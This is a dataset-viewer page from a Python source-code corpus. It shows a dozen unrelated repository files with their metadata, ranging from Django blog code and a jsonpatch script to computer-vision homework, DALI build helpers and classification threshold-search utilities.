Reset23/the-stack-v2-python · Datasets at Hugging Face

150bd0efd216bec9d3f05d67433ec1b07b6a88dc

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/myself/blog/blog/urls.py

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[]

no_license

yxd2018/Test

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refs/heads/master

2020-03-08T07:47:42.445969

2018-04-04T02:58:12

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"""blog URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.8/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Add an import: from blog import urls as blog_urls 2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls)) """ from django.conf.urls import include, url from django.contrib import admin from app01 import views urlpatterns = [ url(r'^admin/', include(admin.site.urls)), url(r'ckeditor', include('ckeditor_uploader.urls')), url(r'^index$', views.index, name='index'), url(r'^index2/(\d+)', views.index2, name='index2'), ]

[ "yxd0822@163.com" ]

yxd0822@163.com

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/tests/.venv/bin/jsonpatch

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[]

no_license

wtsi-hgi/openstack_report

fe679c33d776ba5c181d5a0a806122d8fe89cc27

1e9fddaddf82bca6290a5d52792b7df608600804

refs/heads/master

2023-01-23T07:46:39.275387

2021-02-19T13:43:35

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2023-01-04T09:03:16

2019-08-20T08:15:37

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#!/Users/pa11/Code/openstack_report/.venv/bin/python3 # -*- coding: utf-8 -*- import sys import os.path import json import jsonpatch import tempfile import argparse parser = argparse.ArgumentParser( description='Apply a JSON patch on a JSON file') parser.add_argument('ORIGINAL', type=argparse.FileType('r'), help='Original file') parser.add_argument('PATCH', type=argparse.FileType('r'), nargs='?', default=sys.stdin, help='Patch file (read from stdin if omitted)') parser.add_argument('--indent', type=int, default=None, help='Indent output by n spaces') parser.add_argument('-b', '--backup', action='store_true', help='Back up ORIGINAL if modifying in-place') parser.add_argument('-i', '--in-place', action='store_true', help='Modify ORIGINAL in-place instead of to stdout') parser.add_argument('-v', '--version', action='version', version='%(prog)s ' + jsonpatch.__version__) def main(): try: patch_files() except KeyboardInterrupt: sys.exit(1) def patch_files(): """ Diffs two JSON files and prints a patch """ args = parser.parse_args() doc = json.load(args.ORIGINAL) patch = json.load(args.PATCH) result = jsonpatch.apply_patch(doc, patch) if args.in_place: dirname = os.path.abspath(os.path.dirname(args.ORIGINAL.name)) try: # Attempt to replace the file atomically. We do this by # creating a temporary file in the same directory as the # original file so we can atomically move the new file over # the original later. (This is done in the same directory # because atomic renames do not work across mount points.) fd, pathname = tempfile.mkstemp(dir=dirname) fp = os.fdopen(fd, 'w') atomic = True except OSError: # We failed to create the temporary file for an atomic # replace, so fall back to non-atomic mode by backing up # the original (if desired) and writing a new file. if args.backup: os.rename(args.ORIGINAL.name, args.ORIGINAL.name + '.orig') fp = open(args.ORIGINAL.name, 'w') atomic = False else: # Since we're not replacing the original file in-place, write # the modified JSON to stdout instead. fp = sys.stdout # By this point we have some sort of file object we can write the # modified JSON to. json.dump(result, fp, indent=args.indent) fp.write('\n') if args.in_place: # Close the new file. If we aren't replacing atomically, this # is our last step, since everything else is already in place. fp.close() if atomic: try: # Complete the atomic replace by linking the original # to a backup (if desired), fixing up the permissions # on the temporary file, and moving it into place. if args.backup: os.link(args.ORIGINAL.name, args.ORIGINAL.name + '.orig') os.chmod(pathname, os.stat(args.ORIGINAL.name).st_mode) os.rename(pathname, args.ORIGINAL.name) except OSError: # In the event we could not actually do the atomic # replace, unlink the original to move it out of the # way and finally move the temporary file into place. os.unlink(args.ORIGINAL.name) os.rename(pathname, args.ORIGINAL.name) if __name__ == "__main__": main()

[ "pa11@mib113623i.internal.sanger.ac.uk" ]

pa11@mib113623i.internal.sanger.ac.uk

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/Day41/01 手写socket server.py

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[]

no_license

klandhu/Python-S14

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refs/heads/master

2020-04-06T09:53:01.596595

2018-11-16T10:06:40

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import socket sk =socket.socket() sk.bind(('127.0.0.1',8080)) sk.listen(5) while 1: conn, addr = sk.accept() data = conn.recv(9000) print(data) conn.send(b'HTTP/1.1 200 OK\r\n\r\n') #conn.send(b'o98k') with open("test.html","rb") as f: conn.send(f.read()) conn.close()

[ "nan.hu@gometech.com.cn" ]

nan.hu@gometech.com.cn

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/project2/task2/Reducer2.py

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no_license

xiezhw3/bigDataProject

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refs/heads/master

2016-08-05T06:58:13.962850

2015-06-11T13:19:39

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#! /usr/bin/python import sys, heapq from operator import * oldKey = None tags = {} for line in sys.stdin: data_mapped = line.strip().split('\t') if len(data_mapped) != 3: continue zero, tag, num = data_mapped if not tag in tags.keys(): tags[tag] = 0 tags[tag] += int(num) top100 = heapq.nlargest(100, tags, key = lambda x: (tags[x], x)) for item in top100: print item

[ "xiezhw3@gmail.com" ]

xiezhw3@gmail.com

c274dbbe37b4a409b549b682a826a50e9a4c7009

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/strings_and_array/P1_2.py

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[]

no_license

sunnyyants/crackingPython

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refs/heads/master

2021-01-15T23:02:16.865043

2014-01-12T20:06:07

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__author__ = 'SunnyYan' # Reverse a null terminal string # I decide to use 3 different methods def method1(strings): if len(strings) == 1: return strings return method1(strings[1::1]) + strings[0] def method2(strings): return strings[::-1] def method3(strings): i = len(strings)-1 result = [] while(i >= 0): result.append(strings[i]) i -= 1 return ''.join(result) print method1("abcdefg") print method2("1234567") print method3("leveleivia")

[ "sunnyyants@gmail.com" ]

sunnyyants@gmail.com

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/vikalp/local_settings.py

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[]

no_license

mihirk/vikalp

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refs/heads/master

2021-01-18T03:37:39.050602

2014-01-03T13:46:46

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# DEBUG = True from .settings import * # noqa TEST_RUNNER = 'django.test.simple.DjangoTestSuiteRunner' COMPRESS_ENABLED = True DATABASES = { "default": { # Ends with "postgresql_psycopg2", "mysql", "sqlite3" or "oracle". "ENGINE": "django.db.backends.sqlite3", # DB name or path to database file if using sqlite3. "NAME": "dev.db", # Not used with sqlite3. "USER": "", # Not used with sqlite3. "PASSWORD": "", # Set to empty string for localhost. Not used with sqlite3. "HOST": "", # Set to empty string for default. Not used with sqlite3. "PORT": "", } }

[ "mihir.khatwani@gmail.com" ]

mihir.khatwani@gmail.com

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/runserver.py

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[]

no_license

shuyangli/paradigms-game

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refs/heads/master

2016-09-05T19:54:34.899171

2015-05-07T04:27:56

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import argparse from castle_server import CastleServer if __name__ == '__main__': # Parse command line arguments parser = argparse.ArgumentParser(description="Server for Castles game.") parser.add_argument("-p", "--port", type=int, default=9001, dest="port", help="port number") parser.add_argument("-d", "--debug", action="store_true", dest="debug", help="enable debug mode") args = parser.parse_args() # Run server server = CastleServer(args.port, args.debug) server.start()

[ "shuyang.li.95@gmail.com" ]

shuyang.li.95@gmail.com

d4fddba0fc023aa2bf4ded9cd8bd5b50cf21c4d4

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/src/DQN.py

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no_license

JustCallMeDavid/USRL4RS

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refs/heads/main

2023-08-27T15:08:29.317092

2021-10-11T13:55:58

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import torch class DQNet(torch.nn.Module): def __init__(self, emb_size, hidden_size, out_size): super(DQNet, self).__init__() self.fc1 = torch.nn.Linear(emb_size, hidden_size) self.fc2 = torch.nn.Linear(hidden_size, out_size) self.relu = torch.nn.ReLU() def forward(self, x): return self.relu(self.fc2(self.relu(self.fc1(x.squeeze()))))

[ "d.gradinariu@hotmail.com" ]

d.gradinariu@hotmail.com

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/LAS_Processor_v4.py

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[]

no_license

GeospatialDaryl/objLAS

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refs/heads/master

2021-01-06T20:46:41.279218

2015-09-23T17:07:06

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import ClassLASObj_v13 from ClassLASObj_v13 import * #Class LTKPaths contains Machine Specific Paths import ModuleLiDARtools_v1 from ModuleLiDARtools_v1 import * #Paths import os #import arcpy #import arcgisscripting #gp = arcgisscripting.create(9.3) #gp.AddToolbox("C:\Program Files (x86)\ArcGIS\ArcToolBox\Toolboxes\Conversion Tools.tbx") #gp.overwriteoutput = 1 utmn83 = "PROJCS['NAD_1983_UTM_Zone_10N',GEOGCS['GCS_North_American_1983',DATUM['D_North_American_1983',SPHEROID['GRS_1980',6378137.0,298.257222101]],PRIMEM['Greenwich',0.0],UNIT['Degree',0.0174532925199433]],PROJECTION['Transverse_Mercator'],PARAMETER['False_Easting',500000.0],PARAMETER['False_Northing',0.0],PARAMETER['Central_Meridian',-123.0],PARAMETER['Scale_Factor',0.9996],PARAMETER['Latitude_Of_Origin',0.0],UNIT['Meter',1.0]]" #instantiate Paths object workPaths = Paths() #create empty directory list of las files listLASObj = [] # ##############ADJUST THE Target HERE ########################## #thisOperationPath = workPaths.pathSctt thisOperationPath = workPaths.pathShastaRepair multiProcessor_Count = 8 # ############################################################### workPaths.lasworkspace = thisOperationPath+"LAS\\pt2\\" #this needed toggling back from LAS_b 12/22/2011 workPaths.dtmworkspace = thisOperationPath+"DTM\\" workPaths.chmworkspace = thisOperationPath+"CHM\\" workPaths.lasExtent = thisOperationPath+"LAS\\" workPaths.csvworkspace = thisOperationPath+"CSV\\" workPaths.lasnorm = thisOperationPath+"LAS_norm\\" workPaths.dem = thisOperationPath+"dem\\" # ############################################################### # Make a list of LAS in the directory of interest dirList=os.listdir(workPaths.lasExtent) # USE the LAS not LAS_b to make this list # ## Instantiate the list of LASObjs for fname in dirList: if "las" in fname: nameLASObj = LASObj(workPaths.lasworkspace+fname,workPaths.lasExtent+fname) print nameLASObj.las_name listLASObj.append(nameLASObj) del nameLASObj countLASObj = 0 for LASObjs in listLASObj: countLASObj = countLASObj + 1 print str(countLASObj)+" Total Tiles" #Declare test LASObj object test = listLASObj[0] counter = 0 for LASObjs in listLASObj: counter = counter + 1 print "Tile "+LASObjs.las_name+", "+str(counter)+" of "+str(countLASObj) #LASObjs.makeCHM_StatePlaneFt(workPaths) print "processing the tile . . ." #LASObjs.makeCloudMetrics(workPaths) #LASObjs.makeNormalizedLAS(workPaths,'C:\\Scratch\\ShastaRepair_LAS\\DEM\\Shasta_dem.img') #LASObjs.makeNormalizedLAS_arcpy(workPaths,'C:\\Scratch\\ShastaRepair_LAS\\DEM\\Shasta_dem.img') LASObjs.makeNormalizedLAS_arcpy(workPaths,"C:\\Scratch\\ShastaRepair_LAS\\tempRasWork\\repDEM.img") #LASObjs.makeNormalizedLAS_pass(workPaths,'C:\\Scratch\\ShastaRepair_LAS\\tempRasWork\\repDEM.img') #makeNormalizedLAS_MP(workPaths,8,"C:\\Scratch\\dem_be_1m.img") #LASObjs.makeMetrics(workPaths) #LASObjs.makeMetrics(workPaths,6.,["cover"]) #LASObjs.makeMetrics(workPaths,9.,["cover"])

[ "daryl_van_dyke@fws.gov" ]

daryl_van_dyke@fws.gov

afb08de55adda6d146170c5964c70216e97605d2

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/blog/models.py

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no_license

lillian7/wopaproject

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refs/heads/master

2020-05-17T21:38:03.503813

2014-08-08T08:18:22

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from django.db import models from django.db.models import permalink # Create your models here. #first a database table called blog class Blog(models.Model): #the fields to be created in the table blogs title = models.CharField(max_length=100, db_index=True) slug = models.SlugField(max_length=100, db_index=True) body = models.TextField() posted = models.DateTimeField(db_index =True, auto_now_add =True) category = models.ForeignKey('blog.Category') #unicode will set the text reference 'title' for each record def __unicode__(self): return '%s' % self.title @permalink #decorator to hold the right url format def get_absolute_url(self): return ('view_blog_post', None, {'slug': self.slug}) #another database table called ctegory class Category(models.Model): title = models.CharField(max_length = 100, db_index = True) slug = models.SlugField(max_length = 100, db_index = True) def __unicode__(self): return '%s' % self.title @permalink def get_absolute_url(self): return ('view_blog_category', None, {'slug': self.slug})

[ "lnassanga@gmail.com" ]

lnassanga@gmail.com

cab89a174139d9965e8c64cdb0a66f9260beeedf

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/dali_tf_plugin/dali_tf_plugin_utils.py

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permissive

ConnectionMaster/DALI

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refs/heads/master

2023-04-14T13:04:57.520421

2021-01-22T16:34:31

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# Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import subprocess import os import re import sys import platform import fnmatch from distutils.version import StrictVersion # Find file matching `pattern` in `path` def find(pattern, path): result = [] for root, dirs, files in os.walk(path): for name in files: if fnmatch.fnmatch(name, pattern): result.append(os.path.join(root, name)) return result # Get path to python module `module_name` def get_module_path(module_name): module_path = '' for d in sys.path: possible_path = os.path.join(d, module_name) # skip current dir as this is plugin dir if os.path.isdir(possible_path) and len(d) != 0: module_path = possible_path break return module_path # Get compiler version used to build tensorflow def get_tf_compiler_version(): tensorflow_libs = find('libtensorflow_framework*so*', get_module_path('tensorflow')) if not tensorflow_libs: tensorflow_libs = find('libtensorflow_framework*so*', get_module_path('tensorflow_core')) if not tensorflow_libs: return '' lib = tensorflow_libs[0] cmd = 'strings -a ' + lib + ' | grep "GCC: ("' s = str(subprocess.check_output(cmd, shell=True)) lines = s.split('\\n') ret_ver = '' for line in lines: res = re.search("GCC:\s*$.*$\s*(\d+.\d+).\d+", line) if res: ver = res.group(1) if not ret_ver or StrictVersion(ret_ver) < StrictVersion(ver): ret_ver = ver return ret_ver # Get current tensorflow version def get_tf_version(): try: import pkg_resources s = pkg_resources.get_distribution("tensorflow-gpu").version except: # pkg_resources.get_distribution doesn't work well with conda installed packages try: import tensorflow as tf s = tf.__version__ except: return "" version = re.search("(\d+.\d+).\d+", s).group(1) return version # Get C++ compiler def get_cpp_compiler(): return os.environ.get('CXX') or 'g++' # Get C++ compiler version def get_cpp_compiler_version(): cmd = get_cpp_compiler() + ' --version | head -1 | grep "[c|g]++ ("' s = str(subprocess.check_output(cmd, shell=True).strip()) version = re.search("[g|c]\+\+\s*$.*$\s*(\d+.\d+).\d+", s).group(1) return version # Runs `which` program def which(program): try: return subprocess.check_output('which ' + program, shell=True).strip() except: return None # Checks whether we are inside a conda env def is_conda_env(): return True if os.environ.get('CONDA_PREFIX') else False # Get compile and link flags for installed tensorflow def get_tf_build_flags(): tf_cflags = '' tf_lflags = '' try: import tensorflow as tensorflow tf_cflags=" ".join(tensorflow.sysconfig.get_compile_flags()) tf_lflags=" ".join(tensorflow.sysconfig.get_link_flags()) except: tensorflow_path = get_module_path('tensorflow') if tensorflow_path != '': tf_cflags=" ".join(["-I" + tensorflow_path + "/include", "-I" + tensorflow_path + "/include/external/nsync/public", "-D_GLIBCXX_USE_CXX11_ABI=0"]) tf_lflags=" ".join(["-L" + tensorflow_path, "-ltensorflow_framework"]) if tf_cflags == '' and tf_lflags == '': raise ImportError('Could not find Tensorflow. Tensorflow must be installed before installing NVIDIA DALI TF plugin') return (tf_cflags, tf_lflags) # Get compile and link flags for installed DALI def get_dali_build_flags(): dali_cflags = '' dali_lflags = '' try: import nvidia.dali.sysconfig as dali_sc dali_lib_path = dali_sc.get_lib_dir() # We are linking with DALI's C library, so we don't need the C++ compile flags # including the CXX11_ABI setting dali_cflags=" ".join(dali_sc.get_include_flags()) dali_lflags=" ".join(dali_sc.get_link_flags()) except: dali_path = get_module_path('nvidia/dali') if dali_path != '': dali_cflags=" ".join(["-I" + dali_path + "/include"]) dali_lflags=" ".join(["-L" + dali_path, "-ldali"]) if dali_cflags == '' and dali_lflags == '': raise ImportError('Could not find DALI.') return (dali_cflags, dali_lflags) # Get compile and link flags for installed CUDA def get_cuda_build_flags(): cuda_cflags = '' cuda_lflags = '' cuda_home = os.environ.get('CUDA_HOME') if not cuda_home: cuda_home = '/usr/local/cuda' cuda_cflags=" ".join(["-I" + cuda_home + "/include"]) cuda_lflags=" ".join([]) return (cuda_cflags, cuda_lflags) def find_available_prebuilt_tf(requested_version, available_libs): req_ver_first, req_ver_second = [int(v) for v in requested_version.split('.', 2)] selected_ver = None for file in available_libs: re_match = re.search(".*(\d+)_(\d+).*", file) if re_match is None: continue ver_first, ver_second = [int(v) for v in re_match.groups()] if ver_first == req_ver_first: if ver_second <= req_ver_second and (selected_ver is None or selected_ver < (ver_first, ver_second)): selected_ver = (ver_first, ver_second) return '.'.join([str(v) for v in selected_ver]) if selected_ver is not None else None

[ "noreply@github.com" ]

ConnectionMaster.noreply@github.com

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/Frankot_Chellapa.py

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[]

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cosecdelta/Computer-Vision-Basic-Codes

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2023-03-05T00:21:14.845060

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## Default modules imported. Import more if you need to. import numpy as np from skimage.io import imread, imsave ## Fill out these functions yourself # Inputs: # nrm: HxWx3. Unit normal vectors at each location. All zeros at mask == 0 # mask: A 0-1 mask of size HxW, showing where observed data is 'valid'. # lmda: Scalar value of lambda to be used for regularizer weight as in slides. # # Returns depth map Z of size HxW. # # Be careful about division by 0. # # Implement in Fourier Domain / Frankot-Chellappa def kernpad(K,size): kernel_size = np.array(K.shape) image_size = np.array(size) pad_length = image_size - kernel_size center_pixel = (kernel_size-1)//2 padded_img = np.pad(K,((0,pad_length[0]),(0,pad_length[1]))) circular_rotate_kernel = np.roll(padded_img, -int(center_pixel[0]), axis=0) #Rotating along the rows circular_rotate_kernel = np.roll(padded_img, -int(center_pixel[1]), axis=1) #Rotating along the columns return circular_rotate_kernel def ntod(nrm, mask, lmda): nrm_flat = np.reshape(nrm,(-1,3)) mask_flat = np.broadcast_to(np.reshape(mask,(-1,1)),nrm_flat.shape) nrm_flat = nrm_flat*mask_flat nrm_flat = np.reshape(nrm_flat,nrm.shape) gx = -np.divide(nrm_flat[:,:,0],nrm_flat[:,:,2]) gy = -np.divide(nrm_flat[:,:,0],nrm_flat[:,:,2]) gx[np.isnan(gx)] = 0 gy[np.isnan(gy)] = 0 gu = np.fft.fft2(gx) gv = np.fft.fft2(gy) fx = np.reshape(np.array([0.5,0,-0.5]),(1,3)) fy = -np.transpose(fx) fu = np.fft.fft2(kernpad(fx, gu.shape)) fv = np.fft.fft2(kernpad(fy, gv.shape)) fr = np.array([[-1/9,-1/9,-1/9],[-1/9,8/9,-1/9],[-1/9,-1/9,-1/9]]) fr_uv = np.fft.fft2(kernpad(fr, gu.shape)) fz_final = (np.conj(fu)*gu + np.conj(fv)*gv)/(np.square(abs(fu)) + np.square(abs(fv)) + lmda*np.square(abs(fr_uv))) final_depth = np.real(np.fft.ifft2(fz_final)) return final_depth ########################## Support code below from os.path import normpath as fn # Fixes window/linux path conventions import warnings warnings.filterwarnings('ignore') import matplotlib.pyplot as plt from matplotlib import cm from mpl_toolkits.mplot3d import Axes3D #### Main function #nrm = imread(fn('inputs/phstereo/true_normals.png')) # Un-comment next line to read your output instead nrm = imread(fn('outputs/prob3_nrm.png')) mask = np.float32(imread(fn('inputs/phstereo/mask.png')) > 0) nrm = np.float32(nrm/255.0) nrm = nrm*2.0-1.0 nrm = nrm * mask[:,:,np.newaxis] # Main Call Z = ntod(nrm,mask,1e-6) # Plot 3D shape fig = plt.figure() ax = fig.add_subplot(111, projection='3d') x,y = np.meshgrid(np.float32(range(nrm.shape[1])),np.float32(range(nrm.shape[0]))) x = x - np.mean(x[:]) y = y - np.mean(y[:]) Zmsk = Z.copy() Zmsk[mask == 0] = np.nan Zmsk = Zmsk - np.nanmedian(Zmsk[:]) lim = 100 ax.plot_surface(x,-y,Zmsk, \ linewidth=0,cmap=cm.inferno,shade=True,\ vmin=-lim,vmax=lim) ax.set_xlim3d(-450,450) ax.set_ylim3d(-450,450) ax.set_zlim3d(-450,450) plt.show()

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from typing import Callable, List, Tuple from collections import defaultdict import enum from functools import partial import numpy as np from sklearn.model_selection import RepeatedStratifiedKFold METRIC_FN = Callable[[np.ndarray, np.ndarray], float] class ThresholdMode(str, enum.Enum): """Available threshold search strategies types.""" NOOP = noop = "noop" # noqa: WPS115 MULTILABEL = multilabel = "multilabel" # noqa: WPS115 MULTICLASS = multiclass = "multiclass" # noqa: WPS115 def get_baseline_thresholds( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, ) -> Tuple[float, List[float]]: """Returns baseline thresholds for multiclass/multilabel classification. Args: scores: estimated per-class scores/probabilities predicted by the model, numpy array with shape [num_examples, num_classes] labels: ground truth labels, numpy array with shape [num_examples, num_classes] objective: callable function, metric which we want to maximize Returns: tuple with best found objective score and per-class thresholds """ num_classes = scores.shape[1] thresholds = [0.5] * num_classes predictions = np.greater(scores, thresholds).astype(np.int32) best_metric = objective(labels, predictions) return best_metric, thresholds def get_binary_threshold( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, num_thresholds: int = 100, ) -> Tuple[float, float]: """Finds best threshold for binary classification task based on cross-validation estimates. Args: scores: estimated per-class scores/probabilities predicted by the model, numpy array with shape [num_examples, ] labels: ground truth labels, numpy array with shape [num_examples, ] objective: callable function, metric which we want to maximize num_thresholds: number of thresholds ot try for each class Returns: tuple with best found objective score and threshold """ thresholds = np.linspace(scores.min(), scores.max(), num=num_thresholds) metric_values = [] for threshold in thresholds: predictions = (scores >= threshold).astype(np.int32) if np.sum(predictions) > 0: metric_value = objective(labels, predictions) metric_values.append(metric_value) else: metric_values.append(0.0) if np.max(metric_values) == 0.0: best_metric_value = 0.0 best_threshold = 1.0 else: best_metric_value = metric_values[np.argmax(metric_values)] best_threshold = thresholds[np.argmax(metric_values)] return best_metric_value, best_threshold def get_multiclass_thresholds( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, ) -> Tuple[List[float], List[float]]: """Finds best thresholds for multiclass classification task. Args: scores: estimated per-class scores/probabilities predicted by the model, numpy array with shape [num_examples, num_classes] labels: ground truth labels, numpy array with shape [num_examples, num_classes] objective: callable function, metric which we want to maximize Returns: tuple with best found objective score and per-class thresholds """ num_classes = scores.shape[1] metrics = [0.0] * num_classes thresholds = [0.0] * num_classes # score threshold -> classes with such score classes_by_threshold = defaultdict(list) for class_index in range(num_classes): for score in np.unique(scores[:, class_index]): classes_by_threshold[score].append(class_index) for threshold in sorted(classes_by_threshold): for class_index in classes_by_threshold[threshold]: metric_value = objective(labels[:, class_index], scores[:, class_index] >= threshold) if metric_value > metrics[class_index]: metrics[class_index] = metric_value thresholds[class_index] = threshold return metrics, thresholds def get_multilabel_thresholds( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, ): """Finds best thresholds for multilabel classification task. Args: scores: estimated per-class scores/probabilities predicted by the model, numpy array with shape [num_examples, num_classes] labels: ground truth labels, numpy array with shape [num_examples, num_classes] objective: callable function, metric which we want to maximize Returns: tuple with best found objective score and per-class thresholds """ num_classes = labels.shape[1] metrics = [0.0] * num_classes thresholds = [0.0] * num_classes for class_index in range(num_classes): best_metric, best_threshold = get_binary_threshold( labels=labels[:, class_index], scores=scores[:, class_index], objective=objective, ) metrics[class_index] = best_metric thresholds[class_index] = best_threshold return metrics, thresholds def get_binary_threshold_cv( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, num_splits: int = 5, num_repeats: int = 1, random_state: int = 42, ): """Finds best threshold for binary classification task based on cross-validation estimates. Args: scores: estimated per-class scores/probabilities predicted by the model, numpy array with shape [num_examples, ] labels: ground truth labels, numpy array with shape [num_examples, ] objective: callable function, metric which we want to maximize num_splits: number of splits to use for cross-validation num_repeats: number of repeats to use for cross-validation random_state: random state to use for cross-validation Returns: tuple with best found objective score and threshold """ rkf = RepeatedStratifiedKFold( n_splits=num_splits, n_repeats=num_repeats, random_state=random_state ) fold_metrics, fold_thresholds = [], [] for train_index, valid_index in rkf.split(labels, labels): labels_train, labels_valid = labels[train_index], labels[valid_index] scores_train, scores_valid = scores[train_index], scores[valid_index] _, best_threshold = get_binary_threshold( labels=labels_train, scores=scores_train, objective=objective, ) valid_predictions = (scores_valid >= best_threshold).astype(np.int32) best_metric_value = objective(labels_valid, valid_predictions) fold_metrics.append(best_metric_value) fold_thresholds.append(best_threshold) return np.mean(fold_metrics), np.mean(fold_thresholds) def get_multilabel_thresholds_cv( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, num_splits: int = 5, num_repeats: int = 1, random_state: int = 42, ): """Finds best thresholds for multilabel classification task based on cross-validation estimates. Args: scores: estimated per-class scores/probabilities predicted by the model, numpy array with shape [num_examples, num_classes] labels: ground truth labels, numpy array with shape [num_examples, num_classes] objective: callable function, metric which we want to maximize num_splits: number of splits to use for cross-validation num_repeats: number of repeats to use for cross-validation random_state: random state to use for cross-validation Returns: tuple with best found objective score and per-class thresholds """ num_classes = labels.shape[1] metrics = [0.0] * num_classes thresholds = [0.0] * num_classes for class_index in range(num_classes): best_metric, best_threshold = get_binary_threshold_cv( labels=labels[:, class_index], scores=scores[:, class_index], objective=objective, num_splits=num_splits, num_repeats=num_repeats, random_state=random_state, ) metrics[class_index] = best_metric thresholds[class_index] = best_threshold return metrics, thresholds def get_thresholds_greedy( scores: np.ndarray, labels: np.ndarray, score_fn: Callable, num_iterations: int = 100, num_thresholds: int = 100, thresholds: np.ndarray = None, patience: int = 3, atol: float = 0.01, ) -> Tuple[float, List[float]]: """Finds best thresholds for classification task with brute-force algorithm. Args: scores: estimated per-class scores/probabilities predicted by the model labels: ground truth labels score_fn: callable function, based on (scores, labels, thresholds) num_iterations: number of iteration for brute-force algorithm num_thresholds: number of thresholds ot try for each class thresholds: baseline thresholds, which we want to optimize patience: maximum number of iteration before early stop exit atol: minimum required improvement per iteration for early stop exit Returns: tuple with best found objective score and per-class thresholds """ num_classes = scores.shape[1] if thresholds is None: thresholds = [0.5] * num_classes best_metric = score_fn(scores, labels, thresholds) iteration_metrics = [] for i in range(num_iterations): if len(iteration_metrics) >= patience: if best_metric < iteration_metrics[i - patience] + atol: break for class_index in range(num_classes): current_thresholds = thresholds.copy() class_scores = [] class_thresholds = np.linspace( scores[:, class_index].min(), scores[:, class_index].max(), num=num_thresholds, ) for threshold in class_thresholds: current_thresholds[class_index] = threshold class_score = score_fn(scores, labels, current_thresholds) class_scores.append(class_score) best_class_score = np.max(class_scores) best_score_index = np.argmax(class_scores) if best_class_score > best_metric: best_metric = best_class_score thresholds[class_index] = class_thresholds[best_score_index] iteration_metrics.append(best_metric) return best_metric, thresholds def _multilabel_score_fn(scores, labels, thresholds, objective): predictions = np.greater(scores, thresholds).astype(np.int32) return objective(labels, predictions) def get_multilabel_thresholds_greedy( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, num_iterations: int = 100, num_thresholds: int = 100, thresholds: np.ndarray = None, patience: int = 3, atol: float = 0.01, ) -> Tuple[float, List[float]]: """Finds best thresholds for multilabel classification task with brute-force algorithm. Args: scores: estimated per-class scores/probabilities predicted by the model labels: ground truth labels objective: callable function, metric which we want to maximize num_iterations: number of iteration for brute-force algorithm num_thresholds: number of thresholds ot try for each class thresholds: baseline thresholds, which we want to optimize patience: maximum number of iteration before early stop exit atol: minimum required improvement per iteration for early stop exit Returns: tuple with best found objective score and per-class thresholds """ best_metric, thresholds = get_thresholds_greedy( scores=scores, labels=labels, score_fn=partial(_multilabel_score_fn, objective=objective), num_iterations=num_iterations, num_thresholds=num_thresholds, thresholds=thresholds, patience=patience, atol=atol, ) return best_metric, thresholds def _multiclass_score_fn(scores, labels, thresholds, objective): scores_copy = scores.copy() scores_copy[np.less(scores, thresholds)] = 0 predictions = scores_copy.argmax(axis=1) return objective(labels, predictions) def get_multiclass_thresholds_greedy( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, num_iterations: int = 100, num_thresholds: int = 100, thresholds: np.ndarray = None, patience: int = 3, atol: float = 0.01, ) -> Tuple[float, List[float]]: """Finds best thresholds for multiclass classification task with brute-force algorithm. Args: scores: estimated per-class scores/probabilities predicted by the model labels: ground truth labels objective: callable function, metric which we want to maximize num_iterations: number of iteration for brute-force algorithm num_thresholds: number of thresholds ot try for each class thresholds: baseline thresholds, which we want to optimize patience: maximum number of iteration before early stop exit atol: minimum required improvement per iteration for early stop exit Returns: tuple with best found objective score and per-class thresholds """ best_metric, thresholds = get_thresholds_greedy( scores=scores, labels=labels, score_fn=partial(_multiclass_score_fn, objective=objective), num_iterations=num_iterations, num_thresholds=num_thresholds, thresholds=thresholds, patience=patience, atol=atol, ) return best_metric, thresholds def get_best_multilabel_thresholds( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, ) -> Tuple[float, List[float]]: """Finds best thresholds for multilabel classification task. Args: scores: estimated per-class scores/probabilities predicted by the model labels: ground truth labels objective: callable function, metric which we want to maximize Returns: tuple with best found objective score and per-class thresholds """ num_classes = scores.shape[1] best_metric, best_thresholds = 0.0, [] for baseline_thresholds_fn in [ get_baseline_thresholds, get_multiclass_thresholds, get_binary_threshold, get_multilabel_thresholds, ]: _, baseline_thresholds = baseline_thresholds_fn( labels=labels, scores=scores, objective=objective, ) if isinstance(baseline_thresholds, (int, float)): baseline_thresholds = [baseline_thresholds] * num_classes metric_value, thresholds_value = get_multilabel_thresholds_greedy( labels=labels, scores=scores, objective=objective, thresholds=baseline_thresholds, ) if metric_value > best_metric: best_metric = metric_value best_thresholds = thresholds_value return best_metric, best_thresholds def get_best_multiclass_thresholds( scores: np.ndarray, labels: np.ndarray, objective: METRIC_FN, ) -> Tuple[float, List[float]]: """Finds best thresholds for multiclass classification task. Args: scores: estimated per-class scores/probabilities predicted by the model labels: ground truth labels objective: callable function, metric which we want to maximize Returns: tuple with best found objective score and per-class thresholds """ num_classes = scores.shape[1] best_metric, best_thresholds = 0.0, [] labels_onehot = np.zeros((labels.size, labels.max() + 1)) labels_onehot[np.arange(labels.size), labels] = 1 for baseline_thresholds_fn in [ get_baseline_thresholds, get_multiclass_thresholds, get_binary_threshold, get_multilabel_thresholds, ]: _, baseline_thresholds = baseline_thresholds_fn( labels=labels_onehot, scores=scores, objective=objective, ) if isinstance(baseline_thresholds, (int, float)): baseline_thresholds = [baseline_thresholds] * num_classes metric_value, thresholds_value = get_multiclass_thresholds_greedy( labels=labels, scores=scores, objective=objective, thresholds=baseline_thresholds, ) if metric_value > best_metric: best_metric = metric_value best_thresholds = thresholds_value return best_metric, best_thresholds 